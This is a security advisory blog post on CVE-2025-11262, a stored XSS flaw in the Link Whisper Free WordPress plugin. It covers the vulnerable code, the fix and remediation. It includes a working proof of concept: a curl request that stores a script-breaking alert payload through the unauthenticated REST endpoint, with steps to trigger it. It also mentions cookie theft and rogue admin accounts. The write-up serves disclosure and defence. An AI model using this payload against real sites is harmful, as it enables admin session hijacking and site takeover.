CVE-2025-11262: Unauthenticated Stored XSS in Link Whisper Free (CVSS 7.2)
Table of Contents
CVE-2025-11262 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Link Whisper Free WordPress plugin. An unauthenticated attacker can send a single HTTP request to the plugin’s REST endpoint and store a malicious JavaScript payload. The script executes in every administrator’s browser the next time they visit the AI subscription page.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Link Whisper Free |
| Plugin Slug | link-whisper |
| CVE ID | CVE-2025-11262 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 0.9.0 |
| Patched Version | 0.9.1 |
| Published | May 28, 2026 |
| Researcher | mikemyers |
| Wordfence Advisory | Link |
Description
The Link Whisper Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the user_id parameter in all versions up to, and including, 0.9.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Technical Analysis
Entry Point — Unauthenticated REST API Route
The plugin registers a REST route at /wp-json/link-whisper/ai-auth in core/Wpil/Rest.php.
// core/Wpil/Rest.php – line 48
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [$this, 'ai_auth_handler'],
'permission_callback' => "__return_true", // ← no authentication required
'show_in_index' => false
]);
The permission_callback is __return_true. This means any visitor — logged in or not — can call this endpoint.
The Vulnerable Handler
The ai_auth_handler method accepts four parameters and stores them directly into the WordPress options table.
// core/Wpil/Rest.php – lines 111–137
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id'); // ← no sanitization
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id); // ← stored raw
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', ['status' => 404]);
}
The only check is false !== strpos($token, 'ai-') — the token must contain the string ai-. There is no check on the format, length, or content of user_id. Any value, including HTML or JavaScript, passes through and is written to the database.
The Vulnerable Output
The stored user_id value is retrieved via self::get_linkwhisper_ai_user_id(), which returns get_option('wpil_ai_access_user_id', ''). It is then echoed without escaping inside a <script> block on the AI subscription page.
// core/Wpil/Settings.php – line 212
$ai_id = self::get_linkwhisper_ai_user_id();
// core/Wpil/Settings.php – line 1225
body: JSON.stringify({ ai_id: "<?php echo $ai_id;?>", ... })
The <?php echo $ai_id;?> call has no escaping function — no esc_attr(), no esc_js(), and no esc_html(). The raw database value lands directly inside a JavaScript string literal.
Why This Is Exploitable
When a browser parses an HTML page, it processes </script> as closing the current script block — even if that text appears inside a string literal inside <script>. So if $ai_id contains </script>, the browser closes the script element prematurely. Everything that follows becomes regular HTML content, which the attacker fully controls.
An attacker who stores </script><script>alert(document.cookie)</script><script> as user_id causes the following HTML to be generated on the AI subscription page:
<script>
...
body: JSON.stringify({ ai_id: "</script><script>alert(document.cookie)</script><script>", ... })
</script>
The browser parses this as:
<script>...ai_id: "— first script block opened</script>— first script block closed<script>alert(document.cookie)</script>— new script block executed<script>"...— another script block opened (syntactically broken, but harmless)
The injected alert(document.cookie) runs in the administrator’s browser with full admin privileges.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive purposes only. Do not test against any site without explicit written permission from the site owner.
Prerequisites: Link Whisper Free version ≤ 0.9.0 is installed and activated on the target WordPress site.
Step 1 — Store the XSS payload via the unauthenticated REST endpoint.
curl -s -X POST "https://TARGET.COM/wp-json/link-whisper/ai-auth" \
-H "Content-Type: application/json" \
-d '{
"access_token": "ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"user_id": "</script><script>alert(document.cookie)</script><script>",
"uid": 1,
"uemail": "attacker@example.com"
}'
Expected response: "ok"
Step 2 — Trigger the XSS by visiting the AI subscription settings page as an administrator.
Navigate (as admin) to:
https://TARGET.COM/wp-admin/admin.php?page=link_whisper_ai_subscription
Expected result: The browser executes alert(document.cookie) in the admin context, proving the XSS is active. In a real attack, this payload would be replaced with a script that exfiltrates the admin session cookie or installs a malicious admin account.
Verification: Before the attack, confirm the option was written:
curl -s -X POST "https://TARGET.COM/wp-json/link-whisper/ai-auth" \
-H "Content-Type: application/json" \
-d '{"access_token":"ai-test","user_id":"CANARY_VALUE","uid":1,"uemail":"t@t.com"}'
# Response: "ok"
Then check the WordPress database:
SELECT option_value FROM wp_options WHERE option_name = 'wpil_ai_access_user_id';
-- Expected: CANARY_VALUE
Patch Analysis
Version 0.9.1 introduces two format-validation checks using anchored regular expressions.
- if(!empty($token) && false !== strpos($token, 'ai-')){
+ if( !empty($token) &&
+ false !== strpos($token, 'ai-') &&
+ (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) && // valid token format
+ (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)) // valid user_id format
+ {
The token must now match ai- followed by exactly 64 lowercase hexadecimal characters. The user_id must match exactly 32 lowercase hexadecimal characters. Both patterns use \A (start of string) and \z (end of string) anchors to prevent partial matches.
Because a valid user_id can only contain [0-9a-f], it cannot include <, >, ", or any other character used in HTML or JavaScript injection. The fix also adds sanitize_email() for the uemail parameter.
The user_id value echoed on the settings page is not additionally escaped in the patch. This is acceptable because the regex ensures only safe hexadecimal characters can ever reach the database.
Timeline
| Date | Event |
|---|---|
| May 28, 2026 | Wordfence advisory published |
| May 29, 2026 | Advisory last updated |
| 2026-06-07 | This blog post published |
Remediation
Update Link Whisper Free to version 0.9.1 or later immediately. No configuration changes are required after updating.
- In your WordPress admin, go to Plugins → Installed Plugins.
- Find Link Whisper Free and click Update Now.
- Confirm the version shows 0.9.1 or higher.
Alternatively, download the patched version directly from wordpress.org/plugins/link-whisper.
References
- Wordfence Advisory — CVE-2025-11262
- CVE-2025-11262 at cve.org
- Link Whisper Free on WordPress.org
- Vulnerable version (0.9.0) zip
- Patched version (0.9.1) zip
Frequently Asked Questions
What is CVE-2025-11262?
CVE-2025-11262 is a CVSS 7.2 High severity Unauthenticated Stored Cross-Site Scripting vulnerability in the Link Whisper Free WordPress plugin. Any unauthenticated visitor can inject malicious scripts that execute in every administrator's browser.
Which versions of Link Whisper Free are affected by CVE-2025-11262?
All versions up to and including 0.9.0 are affected. Version 0.9.1 contains the fix.
What can an attacker do with CVE-2025-11262?
An attacker can store a malicious JavaScript payload via the plugin's unauthenticated REST endpoint. The script executes in the administrator's browser when the AI subscription settings page loads, allowing session hijacking, admin account takeover, or malicious redirects.
Does an attacker need to be logged in to exploit CVE-2025-11262?
No. Any visitor can trigger this vulnerability without any account on the site.
How do I fix CVE-2025-11262 in Link Whisper Free?
Update Link Whisper Free to version 0.9.1 or later from the WordPress admin dashboard or wordpress.org.
Has Link Whisper Free been patched for CVE-2025-11262?
Yes. Version 0.9.1 was released and adds strict format validation on the user_id and access_token parameters before storing them.